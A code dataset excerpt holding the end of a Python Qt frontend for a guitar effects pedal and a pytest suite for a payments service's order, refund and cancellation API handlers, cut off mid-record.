current_midi_connection_pairs_poly = set()\n\n # Instantiate the Python object.\n knobs = Knobs()\n # read persistant state\n pedal_state = {}\n with open(\"/pedal_state/state.json\") as f:\n pedal_state = json.load(f)\n current_bpm = PolyValue(\"BPM\", 120, 30, 250) # bit of a hack\n current_preset = PolyValue(\"Default Preset\", 0, 0, 127)\n update_counter = PolyValue(\"update counter\", 0, 0, 500000)\n command_status = [PolyValue(\"command status\", -1, -10, 100000), PolyValue(\"command status\", -1, -10, 100000)]\n delay_num_bars = PolyValue(\"Num bars\", 1, 1, 16)\n midi_channel = PolyValue(\"channel\", pedal_state[\"midi_channel\"], 1, 16)\n input_level = PolyValue(\"input level\", pedal_state[\"input_level\"], -80, 10)\n knobs.set_input_level(pedal_state[\"input_level\"], write=False)\n is_loading = {\"reverb\":PolyBool(False), \"cab\":PolyBool(False)}\n # global ui_messages, core_messages\n ui_messages = ui_mess\n core_messages = core_mess\n app = QGuiApplication(sys.argv)\n QIcon.setThemeName(\"digit\")\n qmlEngine = QQmlApplicationEngine()\n # Expose the object to QML.\n context = qmlEngine.rootContext()\n for k, v in available_port_models.items():\n context.setContextProperty(k.replace(\" \", \"_\").replace(\":\", \"_\")+\"AvailablePorts\", v)\n for k, v in used_port_models.items():\n context.setContextProperty(k.replace(\" \", \"_\").replace(\":\", \"_\")+\"UsedPorts\", v)\n context.setContextProperty(\"knobs\", knobs)\n context.setContextProperty(\"polyValues\", effect_parameter_data)\n context.setContextProperty(\"knobMap\", knob_map)\n context.setContextProperty(\"currentBPM\", current_bpm)\n context.setContextProperty(\"pluginState\", plugin_state)\n context.setContextProperty(\"currentPreset\", current_preset)\n context.setContextProperty(\"updateCounter\", update_counter)\n context.setContextProperty(\"commandStatus\", command_status)\n context.setContextProperty(\"delayNumBars\", delay_num_bars)\n context.setContextProperty(\"midiChannel\", midi_channel)\n context.setContextProperty(\"isLoading\", is_loading)\n context.setContextProperty(\"inputLevel\", input_level)\n context.setContextProperty(\"presetList\", preset_list_model)\n\n # engine.load(QUrl(\"qrc:/qml/digit.qml\"))\n qmlEngine.load(QUrl(\"qml/digit.qml\"))\n ######### UI is setup\n def signalHandler(sig, frame):\n if sig in (SIGINT, SIGTERM):\n # print(\"frontend got signal\")\n # global EXIT_PROCESS\n EXIT_PROCESS[0] = True\n signal(SIGINT, signalHandler)\n signal(SIGTERM, signalHandler)\n\n initial_preset = False\n while not EXIT_PROCESS[0]:\n app.processEvents()\n process_ui_messages()\n sleep(0.01)\n if not initial_preset:\n load_preset(\"/presets/Default Preset.json\")\n update_counter.value+=1\n initial_preset = True\n\n # print(\"exiting frontend\")\n exit(1)\n","repo_name":"polyeffects/digit_carla","sub_path":"UI/digit_frontend.py","file_name":"digit_frontend.py","file_ext":"py","file_size_in_byte":35801,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"167943899","text":"from datetime import datetime\nfrom decimal import Decimal\nfrom itertools import chain\n\nimport pytest\nfrom multidict import MultiDict\n\nfrom sendr_utils import enum_value, json_value, utcnow\n\nfrom hamcrest import all_of, assert_that, contains_inanyorder, equal_to, has_entries, has_entry, has_key, not_\n\nfrom mail.payments.payments.api.schemas.base import CURRENCY_RUB\nfrom mail.payments.payments.core.entities.enums import (\n NDS, PAY_METHOD_OFFLINE, PAY_METHODS, PAYMETHOD_ID_OFFLINE, OrderKind, OrderSource, PayStatus, RefundStatus,\n ShopType\n)\nfrom mail.payments.payments.tests.base import BaseTestOrder, BaseTestOrderList\nfrom mail.payments.payments.tests.utils import strip_fields\nfrom mail.payments.payments.utils.helpers import without_none\n\n\nclass TestOrderGet(BaseTestOrder):\n @pytest.fixture\n def with_refunds(self, randbool):\n return randbool()\n\n @pytest.fixture\n def with_timeline(self, randbool):\n return randbool()\n\n @pytest.fixture\n def params(self, with_refunds, with_timeline):\n return {\n 'with_refunds': str(with_refunds).lower(),\n 'with_timeline': str(with_timeline).lower(),\n }\n\n @pytest.fixture\n def action(self, internal_api, mock_action, order, items):\n if internal_api:\n from mail.payments.payments.core.actions.order.get import GetOrderServiceMerchantAction\n return mock_action(GetOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.get import GetOrderAction\n return mock_action(GetOrderAction, order)\n\n @pytest.fixture\n async def response(self, action, params, payments_client, order, test_data):\n return await payments_client.get(test_data['path'], params=params)\n\n def test_context(self, order, with_refunds, with_timeline, internal_api, crypto_mock, response, action, test_data):\n test_data['context'].update({\n 'with_customer_subscription': True,\n 'select_customer_subscription': None,\n })\n if internal_api:\n test_data['context'].update({'with_refunds': with_refunds})\n else:\n test_data['context'].update({'with_timeline': with_timeline})\n action.assert_called_once_with(**test_data['context'])\n\n\nclass TestOrderPut(BaseTestOrder):\n @pytest.fixture(params=('active', 'order'))\n def mode(self, request):\n return request.param\n\n @pytest.fixture(params=(True, False))\n def active(self, request):\n return request.param\n\n @pytest.fixture(params=(True, False))\n def autoclear(self, request):\n return request.param\n\n @pytest.fixture(params=(True, False))\n def fast_moderation(self, request):\n return request.param\n\n @pytest.fixture\n def order_param_pop(self):\n return None\n\n @pytest.fixture\n def item_amount(self, randdecimal):\n return randdecimal()\n\n @pytest.fixture\n def item_price(self, randdecimal):\n return randdecimal()\n\n @pytest.fixture\n def order_properties(self, rands, autoclear, item_amount, item_price, randitem, fast_moderation, order_param_pop):\n properties = {\n 'caption': f' {rands()} ',\n 'description': rands(),\n 'items': [{\n 'amount': item_amount,\n 'currency': CURRENCY_RUB,\n 'image': {\n 'url': rands(),\n },\n 'name': f' {rands()} ',\n 'nds': randitem(NDS),\n 'price': item_price\n }],\n 'autoclear': autoclear,\n 'offline_abandon_deadline': utcnow(),\n 'fast_moderation': fast_moderation,\n }\n if order_param_pop is not None:\n properties.pop(order_param_pop)\n return properties\n\n @pytest.fixture\n def service_merchant_context(self, mode, active, service_merchant, order, crypto_mock, tvm_client_id,\n order_properties):\n if mode == 'active':\n return {\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': tvm_client_id,\n 'order_id': order.order_id,\n 'active': active,\n }\n elif mode == 'order':\n return {\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': tvm_client_id,\n 'order_id': order.order_id,\n **strip_fields(order_properties)\n }\n\n @pytest.fixture\n def uid_context(self, active, mode, order, order_properties):\n if mode == 'active':\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'active': active,\n }\n elif mode == 'order':\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n **order_properties\n }\n\n @pytest.fixture\n def action(self, mode, internal_api, mock_action, order):\n if mode == 'active':\n if internal_api:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderServiceMerchantAction\n return mock_action(ActivateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderAction\n return mock_action(ActivateOrderAction, order)\n elif mode == 'order':\n if internal_api:\n from mail.payments.payments.core.actions.order.create_or_update import (\n CreateOrUpdateOrderServiceMerchantAction\n )\n return mock_action(CreateOrUpdateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.create_or_update import CreateOrUpdateOrderAction\n return mock_action(CreateOrUpdateOrderAction, order)\n\n @pytest.fixture\n def request_json(self, mode, randitem, randdecimal, order_properties, rands, active):\n if mode == 'active':\n return {\n 'active': active,\n rands(): rands(),\n 'uid': -1,\n }\n elif mode == 'order':\n return json_value(order_properties)\n\n @pytest.fixture\n def response_func(self, action, payments_client, test_data, request_json):\n async def _inner(**kwargs):\n request_json.update(kwargs)\n return await payments_client.put(test_data['path'], json=request_json)\n\n return _inner\n\n def test_params(self, test_data, action, response):\n action.assert_called_once_with(**strip_fields(test_data['context']))\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('internal_api,mode', (\n pytest.param(True, 'order', id='internal order'),\n ))\n async def test_service_data(self, rands, test_data, action, response_func):\n service_data = {rands(): rands()}\n await response_func(service_data=service_data)\n action.assert_called_once_with(service_data=service_data, **test_data['context'])\n\n @pytest.mark.parametrize('order_properties', (\n pytest.param({\n 'caption': 'caption',\n 'description': 'description',\n 'items': [{\n 'amount': Decimal('1.0'),\n 'currency': CURRENCY_RUB,\n 'image': {},\n 'name': 'name',\n 'nds': NDS.NDS_10,\n 'price': Decimal('1.0'),\n }],\n 'autoclear': False,\n 'offline_abandon_deadline': utcnow(),\n }, id='no-image-url'),\n ))\n @pytest.mark.parametrize('mode', ('order',))\n @pytest.mark.asyncio\n async def test_invalid_order(self, response_func):\n response = await response_func()\n assert response.status == 400\n\n @pytest.mark.parametrize('item_amount,item_price', (\n pytest.param(Decimal(1), Decimal(0), id='zero-price'),\n pytest.param(Decimal(0), Decimal(1), id='zero-amount'),\n ))\n @pytest.mark.parametrize('mode', ('order',))\n @pytest.mark.asyncio\n async def test_invalid_item(self, response_func):\n response = await response_func()\n assert response.status == 400\n\n @pytest.mark.parametrize('order_param_pop', [None, 'caption'])\n @pytest.mark.parametrize('mode', ('order',))\n @pytest.mark.asyncio\n async def test_absent_order_caption(self, response_func):\n response = await response_func()\n assert response.status == 200\n\n\nclass TestOrderActive(BaseTestOrder):\n @pytest.fixture(params=(True, False))\n def active(self, request):\n return request.param\n\n @pytest.fixture\n def service_merchant_path(self, service_merchant, order, active):\n suffix = 'activate' if active else 'deactivate'\n return f'/v1/internal/order/{service_merchant.service_merchant_id}/{order.order_id}/{suffix}'\n\n @pytest.fixture\n def uid_path(self, order, active):\n suffix = 'activate' if active else 'deactivate'\n return f'/v1/order/{order.uid}/{order.order_id}/{suffix}'\n\n @pytest.fixture\n def service_merchant_context(self, active, service_merchant, order, crypto_mock, tvm_client_id):\n return {\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': tvm_client_id,\n 'order_id': order.order_id,\n 'active': active,\n }\n\n @pytest.fixture\n def uid_context(self, active, order):\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'active': active,\n 'with_customer_subscription': True,\n 'select_customer_subscription': None,\n }\n\n @pytest.fixture\n def action(self, internal_api, mock_action, order):\n if internal_api:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderServiceMerchantAction\n return mock_action(ActivateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.activate import ActivateOrderAction\n return mock_action(ActivateOrderAction, order)\n\n @pytest.fixture\n async def response(self, action, payments_client, test_data):\n return await payments_client.post(test_data['path'])\n\n def test_params(self, order, response, action, test_data):\n action.assert_called_once_with(**test_data['context'])\n\n\nclass TestMultiOrderPost(BaseTestOrder):\n @pytest.fixture\n def action(self, internal_api, mock_action, order, items):\n if internal_api:\n from mail.payments.payments.core.actions.order.create_from_multi import (\n CreateOrderFromMultiOrderServiceMerchantAction\n )\n return mock_action(CreateOrderFromMultiOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.create_from_multi import CreateOrderFromMultiOrderAction\n return mock_action(CreateOrderFromMultiOrderAction, order)\n\n @pytest.fixture\n def service_merchant_path(self, service_merchant, multi_order):\n return f'/v1/internal/order/{service_merchant.service_merchant_id}/multi/{multi_order.order_id}'\n\n @pytest.fixture\n def service_merchant_context(self, service_merchant, service_client, multi_order):\n return {'order_id': multi_order.order_id,\n 'service_merchant_id': service_merchant.service_merchant_id,\n 'service_tvm_id': service_client.tvm_id}\n\n @pytest.fixture\n def uid_path(self, multi_order):\n return f'/v1/order/{multi_order.uid}/multi/{multi_order.order_id}'\n\n @pytest.fixture\n def uid_context(self, multi_order):\n return {'order_id': multi_order.order_id, 'uid': multi_order.uid}\n\n @pytest.fixture\n async def response(self, action, payments_client, order, test_data):\n return await payments_client.post(test_data['path'])\n\n def test_params(self, order, response, action, test_data):\n action.assert_called_once_with(**test_data['context'])\n\n\nclass TestOrderListGet(BaseTestOrderList):\n @pytest.fixture\n def params(self, randn):\n return {\n 'original_order_id': randn(),\n 'subscription': 'true',\n }\n\n @pytest.fixture(autouse=True)\n def action(self, internal_api, mock_action, order, items, shop):\n order.order_hash = 'test-order-list-get-order-hash'\n order.payment_hash = 'test-order-list-get-payment-hash'\n order.shop = shop\n if internal_api:\n from mail.payments.payments.core.actions.order.get_list import GetServiceMerchantOrderListAction\n return mock_action(GetServiceMerchantOrderListAction, [order])\n else:\n from mail.payments.payments.core.actions.order.get_list import GetOrderListAction\n return mock_action(GetOrderListAction, [order])\n\n @pytest.fixture\n async def response(self, payments_client, params, test_data, tvm):\n resp = await payments_client.get(test_data['path'], params=params)\n return resp\n\n def test_params(self, response, action, params, test_data):\n test_data['context'].update({\n 'limit': 100,\n 'offset': 0,\n 'original_order_id': params['original_order_id'],\n 'subscription': True,\n })\n action.assert_called_once_with(**test_data['context'])\n\n class TestParentOrderId:\n @pytest.fixture\n def params(self, randn):\n return {'parent_order_id': randn()}\n\n def test_parent_order_id(self, params, response, action):\n assert_that(\n action.call_args[1]['parent_order_id'],\n params['parent_order_id'],\n )\n\n class TestPayMethod:\n @pytest.fixture\n def params(self, randitem):\n return {'pay_method': randitem(PAY_METHODS)}\n\n def test_pay_method(self, params, response, action):\n assert_that(\n action.call_args[1]['pay_method'],\n params['pay_method'],\n )\n\n class TestPayStatuses:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('pay_statuses[]', PayStatus.PAID.value)\n p.add('pay_statuses[]', PayStatus.IN_PROGRESS.value)\n return p\n\n def test_pay_statuses(self, response, action):\n assert_that(\n action.call_args[1]['pay_statuses'],\n contains_inanyorder(PayStatus.PAID, PayStatus.IN_PROGRESS),\n )\n\n class TestRefundStatuses:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('refund_statuses[]', RefundStatus.REQUESTED.value)\n p.add('refund_statuses[]', RefundStatus.COMPLETED.value)\n return p\n\n def test_refund_statuses(self, response, action):\n assert_that(\n action.call_args[1]['refund_statuses'],\n contains_inanyorder(RefundStatus.REQUESTED, RefundStatus.COMPLETED),\n )\n\n class TestDatetimeParams:\n @pytest.fixture\n def params(self):\n return {\n 'created_from': datetime.utcnow().isoformat(),\n 'created_to': datetime.utcnow().isoformat(),\n 'held_at_from': datetime.utcnow().isoformat(),\n 'held_at_to': datetime.utcnow().isoformat(),\n }\n\n def test_datetime_params(self, response, action, params, test_data):\n assert_that(action.call_args[1], has_entries({\n 'created_from': datetime.fromisoformat(params['created_from']),\n 'created_to': datetime.fromisoformat(params['created_to']),\n 'held_at_from': datetime.fromisoformat(params['held_at_from']),\n 'held_at_to': datetime.fromisoformat(params['held_at_to']),\n }))\n\n class TestPriceParams:\n @pytest.fixture\n def params(self):\n return {\n 'price_from': 100,\n 'price_to': 200,\n }\n\n def test_price_params(self, response, action, params, test_data):\n assert_that(action.call_args[1], has_entries({\n 'price_from': params['price_from'],\n 'price_to': params['price_to'],\n }))\n\n class TestTextEmailQueryParams:\n @pytest.fixture\n def params(self):\n return {\n 'text_query': 'asd',\n 'email_query': 'asd',\n }\n\n def test_text_email_query_params(self, response, action, params, test_data):\n assert_that(action.call_args[1], has_entries({\n 'text_query': params['text_query'],\n 'email_query': params['email_query'],\n }))\n\n class TestCreatedBySourcesQueryParams:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('created_by_sources[]', OrderSource.UI.value)\n p.add('created_by_sources[]', OrderSource.SERVICE.value)\n return p\n\n def test_created_by_sources_query_params(self, response, action):\n assert_that(\n action.call_args[1]['created_by_sources'],\n contains_inanyorder(OrderSource.UI, OrderSource.SERVICE)\n )\n\n class TestServiceIdsQueryParams:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('service_ids[]', 1)\n p.add('service_ids[]', 2)\n return p\n\n def test_service_ids_query_params(self, response, action):\n assert_that(action.call_args[1]['service_ids'], contains_inanyorder(1, 2))\n\n class TestSubscriptionQueryParam:\n @pytest.fixture(params=('false', 'true', 'null'))\n def subscription_param(self, request):\n return request.param\n\n @pytest.fixture\n def params(self, subscription_param):\n return {\n 'subscription': subscription_param\n }\n\n def test_subscription_query_param(self, response, action, subscription_param):\n expected = True if subscription_param == 'true' else False if subscription_param == 'false' else None\n assert action.call_args[1]['subscription'] == expected\n\n class TestDefault:\n @pytest.fixture\n def params(self):\n return {}\n\n def test_subscription_query_param_default(self, response, params, action):\n assert action.call_args[1]['subscription'] is False\n\n class TestWithRefundsParams:\n @pytest.fixture\n def params(self):\n p = MultiDict()\n p.add('with_refunds', 1)\n return p\n\n def test_with_refunds_params(self, response, action):\n assert_that(\n action.call_args[1]['with_refunds'],\n equal_to(True)\n )\n\n\nclass TestOrderListPost(BaseTestOrderList):\n @pytest.fixture\n def action(self, internal_api, mock_action, order, shop):\n order.shop = shop\n if internal_api:\n from mail.payments.payments.core.actions.order.create_or_update import (\n CreateOrUpdateOrderServiceMerchantAction\n )\n return mock_action(CreateOrUpdateOrderServiceMerchantAction, order)\n else:\n from mail.payments.payments.core.actions.order.create_or_update import CreateOrUpdateOrderAction\n return mock_action(CreateOrUpdateOrderAction, order)\n\n @pytest.fixture\n def kind(self):\n return None\n\n @pytest.fixture\n def max_amount(self):\n return None\n\n @pytest.fixture\n def pay_method(self):\n return None\n\n @pytest.fixture\n def mode(self):\n return 'prod'\n\n @pytest.fixture\n def request_json(self, kind, pay_method, max_amount, mode):\n return without_none({\n 'offline_abandon_deadline': utcnow().isoformat(),\n 'kind': enum_value(kind),\n 'autoclear': False,\n 'mode': mode,\n 'uid': -1,\n 'caption': ' abc ',\n 'description': 'def',\n 'pay_method': pay_method,\n 'items': [\n {\n 'amount': 22.33,\n 'currency': 'RUB',\n 'name': ' roses ',\n 'nds': 'nds_none',\n 'price': 99.99,\n },\n {\n 'amount': 100,\n 'currency': 'RUB',\n 'name': ' smth ',\n 'nds': 'nds_10',\n 'price': 1000,\n }\n ],\n 'max_amount': max_amount,\n 'fast_moderation': True,\n })\n\n @pytest.fixture\n def request_headers(self):\n return {}\n\n @pytest.fixture\n def response_func(self, action, payments_client, test_data):\n async def _inner(request_json, headers=None):\n return await payments_client.post(test_data['path'], json=request_json, headers=headers or {})\n\n return _inner\n\n @pytest.fixture\n async def response(self, request_json, request_headers, response_func):\n return await response_func(request_json, headers=request_headers)\n\n class TestShopIdHeader:\n @pytest.mark.asyncio\n async def test_explicit_shop_id_header(self, action, response_func, request_json, request_headers, randn):\n shop_id = str(randn())\n request_headers['X-Shop-Id'] = shop_id\n await response_func(request_json, headers=request_headers)\n assert action.call_args[1]['shop_id'] == int(shop_id)\n\n @pytest.mark.asyncio\n async def test_no_shop_id_header_and_mode_parameter(\n self, action, mode, response_func, request_json, request_headers\n ):\n \"\"\"mode json param means default shop type if no x-shop-id header is passed\"\"\"\n request_headers.pop('X-Shop-Id', None)\n await response_func(request_json, headers=request_headers)\n expected_shop_type = dict(prod=ShopType.PROD, test=ShopType.TEST)[mode]\n call_kwargs = action.call_args[1]\n\n assert_that(call_kwargs, all_of(\n has_entry('default_shop_type', expected_shop_type),\n not_(has_key('shop_id')),\n ))\n\n @pytest.mark.asyncio\n async def test_response_400_because_shop_id_is_not_integer(self, response_func, request_json):\n headers = {'X-Shop-Id': 'not valid shop id'}\n response = await response_func(request_json, headers)\n assert_that(\n await response.json(),\n has_entries({\n 'data': {\n 'params': {'x-shop-id': ['Not a valid integer.']},\n 'message': 'Bad Request'},\n 'status': 'fail',\n 'code': 400\n })\n )\n\n @pytest.mark.parametrize('pop_key', ['items'])\n @pytest.mark.asyncio\n async def test_bad_request(self, request_json, response_func, pop_key):\n request_json.pop(pop_key)\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n @pytest.mark.parametrize('caption', ['abc', '', None])\n @pytest.mark.asyncio\n async def test_order_caption(self, request_json, response_func, caption):\n request_json['caption'] = caption\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'success',\n 'code': 200,\n })\n )\n\n @pytest.mark.asyncio\n async def test_order_caption_absent(self, request_json, response_func):\n request_json.pop('caption')\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'success',\n 'code': 200,\n })\n )\n\n @pytest.mark.asyncio\n async def test_product_name_too_long(self, request_json, response_func):\n request_json['items'][0]['name'] = 129 * 'a'\n response = await response_func(request_json)\n response_json = await response.json()\n assert_that(\n response_json,\n has_entries({\n 'code': 400,\n 'status': 'fail',\n 'data': {\n 'params': {\n 'items': {\n '0': {\n 'name': ['Longer than maximum length 128.']\n }\n }\n },\n 'message': 'Bad Request',\n }\n })\n )\n\n @pytest.mark.parametrize(\n 'kind',\n [\n pytest.param(\n kind, marks=() if kind in (None, OrderKind.PAY, OrderKind.MULTI) else (pytest.mark.xfail(strict=True),)\n )\n for kind in chain((None,), list(OrderKind))\n ]\n )\n @pytest.mark.asyncio\n async def test_kind(self, request_json, response_func):\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'success',\n 'code': 200,\n })\n )\n\n @pytest.mark.parametrize('pop_key', ['amount', 'currency', 'name', 'nds', 'price'])\n @pytest.mark.asyncio\n async def test_bad_request_items(self, request_json, response_func, pop_key):\n request_json['items'][0].pop(pop_key)\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n @pytest.mark.parametrize('kind', (OrderKind.MULTI, OrderKind.PAY))\n @pytest.mark.parametrize('pay_method', (None, PAY_METHOD_OFFLINE))\n def test_context(self, action, request_json, pay_method, response, test_data, kind):\n exp_context = {\n 'autoclear': request_json['autoclear'],\n 'caption': request_json['caption'].strip(),\n 'description': request_json['description'],\n 'items': [\n {\n 'amount': Decimal(str(item['amount'])),\n 'price': Decimal(str(item['price'])),\n 'currency': item['currency'],\n 'nds': NDS(item['nds']),\n 'name': item['name'].strip(),\n }\n for item in request_json['items']\n ],\n 'offline_abandon_deadline': datetime.fromisoformat(request_json['offline_abandon_deadline']),\n 'kind': kind,\n 'fast_moderation': request_json['fast_moderation'],\n }\n if kind == OrderKind.MULTI:\n exp_context['max_amount'] = None\n if pay_method == PAY_METHOD_OFFLINE:\n exp_context['paymethod_id'] = PAYMETHOD_ID_OFFLINE\n\n if 'mode' in request_json:\n mode = request_json['mode']\n exp_context['default_shop_type'] = dict(prod=ShopType.PROD, test=ShopType.TEST)[mode]\n\n exp_context.update(test_data['context'])\n action.assert_called_once_with(**exp_context)\n\n @pytest.mark.asyncio\n async def test_paymethod_id_pay_method_both(self, request_json, rands, response_func):\n response = await response_func({**request_json, 'pay_method': 'offline', 'paymethod_id': rands()})\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n @pytest.mark.asyncio\n async def test_paymethod_id(self, internal_api, request_json, rands, response_func):\n paymethod_id = 'offline' if internal_api else rands()\n response = await response_func({**request_json, 'paymethod_id': paymethod_id})\n\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n class TestUrlMatch:\n @pytest.fixture\n def internal_api(self):\n return False\n\n @pytest.fixture(params=['', '/'])\n def response_func(self, request, action, payments_client, test_data):\n async def _inner(request_json, headers=None):\n return await payments_client.post(f\"{test_data['path']}{request.param}\", json=request_json,\n allow_redirects=False)\n\n return _inner\n\n @pytest.mark.asyncio\n async def test_url_match__called(self, response, action):\n action.assert_called_once()\n\n class TestMaxAmountKindCheck:\n @pytest.fixture\n def max_amount(self):\n return 10\n\n @pytest.fixture\n def kind(self):\n return None\n\n @pytest.mark.asyncio\n async def test_max_amount_kind_check(self, request_json, response_func):\n response = await response_func(request_json)\n assert_that(\n await response.json(),\n has_entries({\n 'status': 'fail',\n 'code': 400,\n })\n )\n\n\nclass TestScheduleOrderClearUnholdHandler(BaseTestOrder):\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.clear_unhold import ScheduleClearUnholdOrderAction\n return mock_action(ScheduleClearUnholdOrderAction)\n\n @pytest.fixture(params=('clear', 'unhold'))\n def operation(self, request):\n return request.param\n\n @pytest.fixture\n async def response(self, action, payments_client, order, operation):\n return await payments_client.post(f'/v1/order/{order.uid}/{order.order_id}/{operation}')\n\n @pytest.fixture\n def expected_context(self, order, operation):\n return {\n 'uid': order.uid,\n 'order_id': order.order_id,\n 'operation': operation,\n }\n\n def test_context(self, expected_context, response, action):\n action.assert_called_once_with(**expected_context)\n\n @pytest.mark.parametrize('operation', ('aa',))\n def test_bad_operation(self, response):\n assert response.status == 404\n\n\nclass TestRefundHandler(BaseTestOrder):\n @pytest.fixture\n def caption(self):\n return ' test-refund-handler-caption '\n\n @pytest.fixture\n def description(self):\n return 'test-refund-handler-description'\n\n @pytest.fixture\n def request_json(self, items, caption, description):\n return {\n 'caption': caption,\n 'description': description,\n 'items': [\n {\n 'amount': float(item.amount),\n 'currency': item.currency,\n 'name': item.name,\n 'nds': item.nds.value,\n 'price': float(item.price),\n }\n for item in items\n ]\n }\n\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.refund import CreateRefundAction\n return mock_action(CreateRefundAction)\n\n @pytest.fixture\n async def response(self, action, payments_client, refund, request_json):\n return await payments_client.post(f'/v1/order/{refund.uid}/{refund.original_order_id}/refund',\n json=request_json)\n\n @pytest.fixture\n def expected_context(self, items, refund, caption, description):\n return {\n 'uid': refund.uid,\n 'order_id': refund.original_order_id,\n 'caption': caption.strip(),\n 'description': description,\n 'items': [\n {\n 'amount': item.amount,\n 'currency': item.currency,\n 'name': item.name,\n 'nds': item.nds,\n 'price': item.price,\n }\n for item in items\n ]\n }\n\n def test_context(self, action, expected_context, response):\n action.assert_called_once_with(**expected_context)\n\n\nclass TestRefundCustomerSubscriptionTransactionHandler(BaseTestOrder):\n @pytest.fixture\n def caption(self):\n return ' test-refund-handler-caption '\n\n @pytest.fixture\n def description(self):\n return 'test-refund-handler-description'\n\n @pytest.fixture\n def request_json(self, caption, description):\n return {\n 'caption': caption,\n 'description': description,\n }\n\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.refund import CreateCustomerSubscriptionTransactionRefundAction\n return mock_action(CreateCustomerSubscriptionTransactionRefundAction)\n\n @pytest.fixture\n async def response(self, action, payments_client, merchant, customer_subscription,\n customer_subscription_transaction, request_json):\n uid = merchant.uid\n subs_id = customer_subscription.customer_subscription_id\n tx_id = customer_subscription_transaction.purchase_token\n return await payments_client.post(\n f'/v1/customer_subscription/{uid}/{subs_id}/{tx_id}/refund',\n json=request_json\n )\n\n @pytest.fixture\n def expected_context(self, refund, caption, description, customer_subscription, customer_subscription_transaction):\n return {\n 'uid': refund.uid,\n 'customer_subscription_id': customer_subscription.customer_subscription_id,\n 'purchase_token': customer_subscription_transaction.purchase_token,\n 'caption': caption.strip(),\n 'description': description,\n }\n\n def test_context(self, action, expected_context, response):\n action.assert_called_once_with(**expected_context)\n\n\nclass TestCancelHandler(BaseTestOrder):\n @pytest.fixture\n def request_json(self):\n return {}\n\n @pytest.fixture(autouse=True)\n def action(self, mock_action, order):\n from mail.payments.payments.core.actions.order.cancel import CancelOrderAction\n return mock_action(CancelOrderAction, order)\n\n @pytest.fixture\n async def response(self, action, order, payments_client, request_json):\n return await payments_client.post(\n f'/v1/order/{order.uid}/{order.order_id}/cancel',\n json=request_json,\n )\n\n def test_success(self, response):\n assert response.status == 200\n\n def test_context(self, action, order, response):\n action.assert_called_once_with(\n uid=order.uid,\n order_id=order.order_id,\n select_customer_subscription=None,\n )\n\n\nclass TestOrderEmailHandler(BaseTestOrder):\n @pytest.fixture\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.email import OrderEmailAction\n return mock_action(OrderEmailAction)\n\n @pytest.fixture(params=(True, False))\n def spam_check(self, request):\n return request.param\n\n @pytest.fixture\n def request_json(self, spam_check, randmail):\n return {\n 'to_email': f' {randmail()} ',\n 'reply_email': f' {randmail()} ',\n 'spam_check': spam_check,\n 'select_customer_subscription': None,\n }\n\n @pytest.fixture\n async def response(self, action, payments_client, order, request_json):\n return await payments_client.post(f'/v1/order/{order.uid}/{order.order_id}/email', json=request_json)\n\n def test_context(self, request_json, response, action):\n assert_that(action.call_args[1], has_entries(**strip_fields(request_json)))\n\n\nclass TestDownloadMultiOrderEmailListHandler:\n @pytest.fixture(autouse=True)\n def action(self, mock_action):\n from mail.payments.payments.core.actions.order.create_from_multi import DownloadMultiOrderEmailListAction\n return mock_action(DownloadMultiOrderEmailListAction)\n\n @pytest.fixture\n async def response(self, payments_client, multi_order):\n return await payments_client.get(f'/v1/order/{multi_order.uid}/multi/{multi_order.order_id}/download')\n\n def test_params(self, multi_order, response, action):\n action.assert_called_once_with(uid=multi_order.uid, order_id=multi_order.order_id)\n\n\nclass TestPayOfflineOrderHandler(BaseTestOrder):\n @pytest.fixture(autouse=True)\n def action(self, internal_api, mock_action, order, items):\n if internal_api:\n from mail.payments.payments.core.actions.order.pay_offline import PayOfflineServiceMerchantOrderAction\n return mock_action(PayOfflineServiceMerchantOrderAction, order)\n else:\n from mail.payments.payments.core.actions.order.pay_offline import PayOfflineOrderAction\n return mock_action(PayOfflineOrderAction, order)\n\n @pytest.fixture\n def uid_path(self, order):\n return f'/v1/order/{order.uid}/{order.order_id}/pay_offline'\n\n @pytest.fixture\n def service_merchant_path(self, service_merchant, order):\n return f'/v1/internal/order/{service_merchant.service_merchant_id}/{order.order_id}/pay_offline'\n\n @pytest.fixture\n def service_merchant_context(self, rands, order, tvm_client_id, service_merchant):\n return {\n 'order_id': order.order_id,\n 'customer_uid': None,\n 'service_tvm_id': tvm_client_id,\n 'service_merchant_id': service_merchant.service_merchant_id,\n }\n\n @pytest.fixture\n def uid_context(self, order):\n return {\n 'uid': order.uid,\n 'order_id': 